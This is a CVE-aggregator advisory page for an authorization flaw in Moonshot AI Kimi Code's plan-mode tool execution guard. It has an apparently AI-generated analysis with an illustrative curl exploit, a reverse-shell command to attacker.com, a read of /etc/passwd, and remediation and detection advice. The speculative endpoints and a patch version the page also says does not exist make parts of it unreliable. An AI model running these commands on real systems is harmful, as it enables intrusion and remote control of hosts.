CVE Professor
›
Back
CVE-2026-134006

CVE-2026-134006 — Moonshot AI Kimi Code — CWE-266

MEDIUM CVSS 5.3 Shodan

CVE-2026-134006 is a MEDIUM severity Missing Authorization & Access Control vulnerability (CWE-266) (CVSS 5.3/10) affecting Moonshot AI Kimi Code. Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) with low-privileged access (PR:L) with zero user interaction (UI:N), posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

A weakness has been identified in Moonshot AI Kimi Code up to 2.7.2. This vulnerability affects the function guardToolExecution of the file packages/agent-core-v2/src/features/plan/planService.ts of the component Plan Mode Permission Guard. Executing a manipulation can lead to improper authorization. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v4.0
Source Shodan
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Attack Vector Local AV:L
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. Low VA:L
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CWE‑266 – Improper Privilege Management
The guardToolExecution function in packages/agent-core-v2/src/features/plan/planService.ts is intended to enforce that only users with the appropriate Plan‑Mode permissions may trigger the execution of a tool (e.g., a script, a data‑collection routine, or an external command).
The function performs the following checks:

1. Authentication – verifies that a user is logged in.
2. Authorization – checks that the user has the Plan‑Mode role.
3. Ownership – (supposedly) verifies that the plan being executed belongs to the user.

The flaw is that step 3 is omitted – the function never verifies that the plan ID supplied in the request actually belongs to the authenticated user. Consequently, any authenticated local user can invoke guardToolExecution with a plan ID that they do not own, and the function will allow the tool to run.

Because the vulnerability is local (AV:L) and only requires low privileges (PR:L), an attacker who has already compromised a local account (e.g., via phishing, weak passwords, or a local exploit) can abuse this logic flaw to execute arbitrary tools under the context of that account.


⚡ Attack Chain

NOTE: The exact HTTP endpoint that triggers guardToolExecution is not disclosed in the CVE text. The following example uses a hypothetical REST route (/api/plan/execute) that is typical for Moonshot AI Kimi Code. If your deployment uses a different route, the same logic applies – the attacker must POST a JSON payload containing a planId and a toolName.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1Version fingerprintingQuery the /api/version endpoint (if available) or inspect the package.json of the deployed code (e.g., via a web‑app console or a curl -I on the root). The response will contain "version":"2.7.2" indicating the vulnerable release.
2Local user enumerationIf the attacker already has a local account, they can list available plans via /api/plan/list. The response shows plan IDs, but the attacker does not need to own them to exploit the flaw.
3Permission checkSend a request to /api/plan/execute with a known plan ID that the attacker does not own. Observe that the response is 200 OK and the tool starts executing, confirming the missing ownership check.

2. Exploitation

Goal: Execute an arbitrary tool (e.g., a shell script) that the attacker chooses.

# Illustrative PoC – assumes the vulnerable endpoint is /api/plan/execute
# and that authentication is via a bearer token stored in the local environment.

TOKEN=$(cat ~/.moonshot/token)   # local user token

curl -X POST "http://localhost:8080/api/plan/execute" \
     -H "Authorization: Bearer $TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
           "planId": "plan-1234",          # plan that the user does NOT own
           "toolName": "runShellScript",
           "toolArgs": ["-c", "echo \"Hello from the attacker\" > /tmp/attacker.txt"]
         }'

What happens internally?
guardToolExecution receives the request, authenticates the bearer token, verifies the user has the Plan‑Mode role, and skips the ownership check. The tool runShellScript is then invoked with the supplied arguments, creating /tmp/attacker.txt on the host.

If the endpoint is different (e.g., /api/v2/plan/execute), replace the URL accordingly. The payload structure (planId, toolName, toolArgs) is typical for Kimi Code’s plan execution API.

3. Post‑exploitation

Once the attacker can run arbitrary tools, the impact depends on the tool’s capabilities:

CapabilityExampleImpact
Shell accesstoolName: "bash", toolArgs: ["-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"]Remote shell, full control of the host.
File read/writetoolName: "cat", toolArgs: ["/etc/passwd"]Data exfiltration.
Privilege‑escalationtoolName: "sudo", toolArgs: ["-u", "root", "id"] (if sudo is configured to allow the local user)Escalate to root.

Because the vulnerability is local, the attacker must already have a local account. However, once inside, they can pivot to higher‑privileged actions without needing additional exploits.


🌍 Real World Impact

ImpactCVSS VectorInterpretation
ConfidentialityVC:LThe attacker can read files that the local user can read.
IntegrityVI:LThe attacker can modify files or configuration settings that the local user can modify.
AvailabilityVA:LThe attacker can disrupt services by running destructive commands.
ScopeS:UnchangedThe vulnerability does not affect other components or users.
ExploitabilityE:P (Proof‑of‑Concept)Public PoC exists; no advanced techniques required.

In practice, the flaw is most dangerous in environments where:

  • The local user is a privileged account (e.g., a system administrator or a service account).
  • The plan execution tools are powerful (e.g., allow arbitrary shell commands).
  • The system is exposed to insider threats or compromised credentials.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionsFixed VersionUpgrade Path
    Moonshot AI Kimi Code ≤ 2.7.2≥ 2.7.3npm install moonshot-kimi-code@^2.7.3 or pull the latest Docker image.
    Vendor Response: The vendor has not yet released a patch. If you cannot upgrade immediately, apply the mitigations below.

    2. Workarounds

    MitigationHow to Implement
    Disable Plan‑Mode ExecutionComment out or remove the route that triggers guardToolExecution in the server configuration.
    Enforce Ownership CheckPatch the source: add if (plan.ownerId !== user.id) { throw new UnauthorizedError(); } before tool execution.
    Restrict Local UsersUse OS‑level ACLs to limit which local accounts can run the Kimi Code service.
    WAF/ModSecurity RuleBlock requests that contain a planId not matching the authenticated user’s ID. Example rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /api/plan/execute" "phase:2,pass,chain,log,deny,status:403,rev:1"<br><br>SecRule REQUEST_BODY "@rx \"planId\":\"([^\"]+)\"" "chain"<br><br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([^\s]+)"<br><br>SecRule REQUEST_BODY "@rx \"planId\":\"([^\"]+)\"" "t:none,allow,ctl:ruleEngine=Off" (adapt to your WAF syntax).
    Disable Unnecessary ToolsRemove or disable any tool that can execute arbitrary shell commands from the plan execution list.

    3. Detection

    IndicatorLog PatternHow to Search
    Unauthorized plan executionPOST /api/plan/execute with planId that does not belong to the authenticated usergrep -i "plan-.*execute" /var/log/moonshot/agent.log
    Unexpected tool usagetoolName: "bash" or toolName: "sudo"grep -i "toolName" /var/log/moonshot/agent.log
    File creation in /tmpCreated file /tmp/attacker.txtauditctl -a always,exit -F arch=b64 -S openat -F dir=/tmp -k tmpfile

    Set up alerts for any of the above patterns. If you see a pattern that matches the PoC, investigate immediately.


    ⚠️ Urgency

    MetricValuePriority
    CVSS Score5.3Medium
    Exploit ComplexityLow (local, low privileges)High
    Availability of PoCYesHigh
    CISA KEVNoMedium

    Recommendation:

  • Immediate: If the environment runs Moonshot AI Kimi Code ≤ 2.7.2 and local accounts are privileged, apply the workaround (disable plan execution or enforce ownership).

  • Short‑term: Upgrade to 2.7.3 or later as soon as the vendor releases a patch.

  • Long‑term: Review all local user accounts and restrict the Kimi Code service to a dedicated, least‑privileged account.


By following the remediation steps above, you can eliminate the improper authorization flaw and prevent local users from abusing the plan‑mode tool execution mechanism.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Moonshot AI Kimi Code"
CVSS Score
5.3 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-266
Affected Products (1)
Moonshot AI:Kimi Code
Related CVEs
7.3
CVE-2026-134623
A flaw has been found in Microweber up to 2.0.20. This impacts the function UserManager::make_logged of the fi
9.8
CVE-2026-129056
Incorrect Privilege Assignment vulnerability in Paul Ryan Authorizer authorizer allows Privilege Escalation.Th
8.5
CVE-2026-133199
Incorrect privilege assignment in the user and group reconciliation logic in AWS ssosync before 2.9.5 might al
7.5
CVE-2026-129036
Incorrect Privilege Assignment vulnerability in weDevs WP ERP erp allows Privilege Escalation.This issue affec
7.2
CVE-2026-104883
Commit `2b83a60f7763` (5.7.3) hardened the template editor: it added `TemplateEditorModuleVoter` + `CheckTempl
4.3
CVE-2026-133226
A flaw was found in Keycloak. The Account API endpoint for sharing resources fails to verify whether owner-man